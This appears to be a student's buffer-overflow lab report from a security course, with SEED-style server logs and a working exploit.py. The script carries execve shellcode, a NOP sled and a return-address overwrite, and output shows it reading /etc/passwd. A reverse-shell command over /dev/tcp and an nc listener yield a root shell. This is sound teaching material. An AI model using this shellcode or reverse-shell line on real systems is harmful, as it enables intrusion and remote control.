

Buffer Overflow Lab Report Requirement

1. Includes the following screenshots, and your name can be seen in the folder name

a. Result of Step 2

```
seed@ML-RefVm-25961: /home/azurelab-ubuntu/Documents/changjia/Labsetup$ dcup
WARNING: Found orphan containers (www-10.9.0.5) for this project. If you removed or renamed this service
mpose file, you can run this command with the --remove-orphans flag to clean it up.
Starting server-1-10.9.0.5 ... done
Starting server-3-10.9.0.7 ... done
Starting server-4-10.9.0.8 ... done
Starting server-2-10.9.0.6 ... done
Attaching to server-3-10.9.0.7, server-2-10.9.0.6, server-4-10.9.0.8, server-1-10.9.0.5
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd338
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd2c8
server-1-10.9.0.5 | ==== Returned Properly ====
```

b. exploit.py file code after you modified in Step 3

```
seed@ML-RefVm-25961: /home/azurelab-ubuntu/Documents/changjia/Labsetup/attack-code$ cat exploit.py
#!/usr/bin/python3
import sys

shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # You can modify the following command string to run any command.
    # You can even run multiple commands. When you change the string,
    # make sure that the position of the * at the end doesn't change.
    # The code above will change the byte at this position to zero,
    # so the command string ends here.
    # You can delete/add spaces, if needed, to keep the position the same.
    # The * in this line serves as the position marker
    "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd *"
    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBB" # Placeholder for argv[1] --> "-c"
    "CCCC" # Placeholder for argv[2] --> the command string
    "DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffd338 + 8 # Change this number
offset = 116 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
seed@ML-RefVm-25961: /home/azurelab-ubuntu/Documents/changjia/Labsetup/attack-code$
```

c. Result of Step 4

```
seed@ML-RefVm-25961: /home/azurelab-ubuntu/Documents/changjia/Labsetup$ dcup
WARNING: Found orphan containers (www-10.9.0.5) for this project. If you removed or renamed this service
pose file, you can run this command with the --remove-orphans flag to clean it up.
Starting server-1-10.9.0.5 ... done
Starting server-3-10.9.0.7 ... done
Starting server-4-10.9.0.8 ... done
Starting server-2-10.9.0.6 ... done
Attaching to server-3-10.9.0.7, server-2-10.9.0.6, server-4-10.9.0.8, server-1-10.9.0.5
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd338
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd2c8
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd338
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd2c8
server-1-10.9.0.5 | total 716
server-1-10.9.0.5 | -rwxr-xr-x 1 root root 17880 Jul 26 22:13 server
server-1-10.9.0.5 | -rwxr-xr-x 1 root root 709296 Jul 26 22:13 stack
server-1-10.9.0.5 | Hello 32
server-1-10.9.0.5 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
server-1-10.9.0.5 | seed:x:1000:1000::/home/seed:/bin/bash
```

d. exploit.py file code after you modified in Step 5

Step 5: We change `"/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd"` to `"/bin/bash -i > /dev/tcp/10.0.0.5/9090 0<&1 2>&1"` (Notice: the length should be same for these two sting.). Then, open a new terminal (also need login by ssh command and switch user to seed) to execute the following command to listen the port 9090 of local computer:

e. Results of Step 6

```
seed@ML-RefVm-25961: /home/azurelab-ubuntu/Desktop/BufferOverflow/Labsetup/attack-code
$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 52920
root@773ba81c9995:/bof#
```

2. Brief explanation of the result of each screenshot

3. Please do not forget Task 3 in the "Lab Instructions". Provide the screenshots of modified exploit.py file and the root shell you got, and the explanation of the screenshots.

4. Discussion about the final result we get (detailed explanation about what result the buffer overflow leads to in this lab), and why we can get such a result.